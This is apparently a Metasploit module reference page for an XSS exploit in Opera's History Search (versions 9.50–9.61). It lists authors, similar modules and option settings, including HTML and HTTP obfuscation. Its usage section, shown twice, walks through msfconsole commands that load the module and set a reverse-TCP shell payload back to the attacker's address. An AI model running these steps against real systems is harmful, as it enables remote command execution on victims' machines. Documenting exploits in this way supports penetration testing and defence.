Opera historysearch XSS
Certain constructs are not escaped correctly by Opera's History Search results. These can be used to inject scripts into the page, which can then be used to modify configuration settings and execute arbitrary commands. Affects Opera versions between 9.50 and 9.61.
Exploit Rank
- Excellent
Exploit Authors
- Roberto Suggi < >
- Aviv Raff < avivra [at] gmail.com >
- egypt < egypt [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Opera < 9.61 Unix Cmd (default)
Exploit Development
Similar Exploit Modules
- exploit/multi/browser/firefox_escape_retval
- exploit/multi/browser/firefox_queryinterface
- exploit/multi/browser/firefox_xpi_bootstrapped_addon
- exploit/multi/browser/itms_overflow
- exploit/multi/browser/java_atomicreferencearray
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_rhino
- exploit/multi/browser/java_rmi_connection_impl
- exploit/multi/browser/java_setdifficm_bof
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/browser/opera_historysearch
msf exploit(opera_historysearch) > show payloads
msf exploit(opera_historysearch) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(opera_historysearch) > set LHOST [MY IP ADDRESS]
msf exploit(opera_historysearch) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/browser/opera_historysearch
msf exploit(opera_historysearch) > show payloads
msf exploit(opera_historysearch) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(opera_historysearch) > set LHOST [MY IP ADDRESS]
msf exploit(opera_historysearch) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |